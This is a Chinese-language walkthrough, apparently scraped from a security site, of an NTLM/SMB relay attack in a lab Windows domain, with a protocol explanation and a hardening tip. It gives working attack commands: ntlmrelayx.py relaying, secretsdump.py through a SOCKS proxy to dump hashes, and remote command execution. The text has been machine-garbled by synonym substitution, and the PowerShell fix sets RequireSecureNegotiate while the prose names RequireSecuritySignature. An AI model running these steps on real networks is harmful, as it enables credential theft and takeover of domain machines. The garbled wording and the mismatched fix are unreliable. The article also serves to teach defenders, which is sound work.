快捷搜索:  网络  后门  CVE  渗透  木马  扫描  黑客  as

Windows SMB要求重放攻击阐发

*

媒介

smb中继或鸣smb要求重放攻击,数据库黑客,B是一个smb服务器,A来进行认证,B将A的认证信息转发到C上,要是A的凭据在C上认证成功就能进行下一步操作,如创建服务执行命令。要是在域中控制了某些经常使用服务,如:WEB OA体系、文件同享等服务则可以尝试使用SMB中继攻击来诱导域治理员走访达到获取其他机器权限的目的。

30.png环境

192.168.123.10 win 7  域治理员(administrator)机器

192.168.123.11 kali linux 攻击者机器

192.168.123.100 域内普通用户-受害者机器

攻击演示

需要smb署名关闭下才能进行行使,只有windows server的smb署名是默认开启的,像Windows 7的署名默认关闭

可以用nmap探测smb是否关闭

nmap --script smb-security-mode.nse -p445 192.168.123.0/24 --open

1.png 下载impacket工具包

git clone https://github.com/CoreSecurity/impacket.git

192.168.123.11(攻击者机器) 执行

ntlmrelayx.py -tf hosts.txt -socks -smb2support

hosts.txt内里的内容是要进行中继的IP,机器越多成功率越高,我这里只有一个IP

2.png

然后让192.168.123.10(域治理员机器) 走访192.168.123.11(攻击者机器)的同享,可以架设一个web服务器,html页面里嵌入\\攻击者地址,我这里为了方便演示就在内陆写一个html

3.png

192.168.123.10(域治理员机器)走访同享时,提示以下说明中继成功

4.png

[*] Authenticating against smb://192.168.123.100 as Z3R0\Administrator SUCCEED
[*] SOCKS: Adding Z3R0/ADMINISTRATOR@192.168.123.100(445) to active SOCKS connection. Enjoy

然后在内陆会创建一个socks4代办署理

在 /etc/proxychains.conf 的最后一行填入

socks4 	192.168.123.11 1080

设置好socks4代办署理后攻击者执行

proxychains python secretsdump.py z3r0/Administrator@192.168.123.100

如许secretsdump.py发送出的认证数据包经过socks4代办署理中继就能成功进行认证5.png

要是不加上其他参数的话ntlmrelayx.py默认会dumphash

6.png

先看看视频结果图

上传时 freebuf提示图片越过大小制约(希翼小编能处理下:) ),结果图地址:http://ringk3y.com/wp-content/uploads/2018/06/1.gif

道理阐发

每步smb要求都被192.168.123.11(攻击者机器)转发到了其他机器上

7.png1. 192.168.123.10(域治理员机器)向192.168.123.11(攻击者机器)商议smb协定版本

8.png

2. 192.168.123.11(攻击者机器)向192.168.123.100(受害者机器)商议smb协定版本

3.192.168.123.100(受害者机器)向192.168.123.11(攻击者机器)归答支持smb v2

9.png 4.192.168.123.11(攻击者机器)向192.168.123.10(域治理员机器)归答支持smb v2

协商完就最先认证了

10.png 1.192.168.123.10(域治理员机器)向192.168.123.11(攻击者机器)发出NTLMSSP_NEGOTIATE认证协商要求

2.192.168.123.11(攻击者机器)向192.168.123.100(受害者机器)发出NTLMSSP_NEGOTIATE认证协商要求

3.192.168.123.100(受害者机器)向192.168.123.11(攻击者机器)进行响应,响应包里含有challenge

11.png 4.一样192.168.123.11(攻击者机器)向192.168.123.10(域治理员机器)进行响应,响应包里含有challenge

5.192.168.123.10(域治理员机器)收到challenge后用hash将challenge加密,作为NTLM Response字段发送给192.168.123.11(攻击者机器)

12.png6.一样,192.168.123.11(攻击者机器)将域治理员的认证要求也发往192.168.123.100(受害者机器)

13.png在响应包中可以看到已经认证成功了

14.png有了治理员权限就能为所欲为了

16.png 因为没有目标机器暗码所以不能进行正常的smb认证,ntlmrelayx脚本的socks4代办署理作用就是处理内陆发往192.168.123.100 (受害者机器)流量起一个中继作用,因为已经认证过了就不用再进行认证,暗码随意填一个就行,使用socks4代办署理时的smb的身份认证是域治理员。

可以通过创建服务来执行命令,当然ntlmrelayx.py也能够做到.

python ntlmrelayx.py -tf hosts.txt -c 'cmexe /c calc.exe'

18.png当192.168.123.10(域治理员机器)再次走访同享时,192.168.123.100(受害者机器)上可以看到calc已经运行了

17.png

总结

1.可以通过给域治理员发送邮件的方式来让他触发smb要求

2.当然要是域治理员触发了smb中继要求了也能够针对他地点那一台机器做中继,如许就能执行命令抓lsass.exe进程中的明文暗码了

修复建议

将注册表项”RequireSecuritySignature”配置为 1 可以启用 SMB 署名

powershell执行

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" RequireSecureNegotiate -Value 1 –Force

*

您可能还会对下面的文章感兴趣: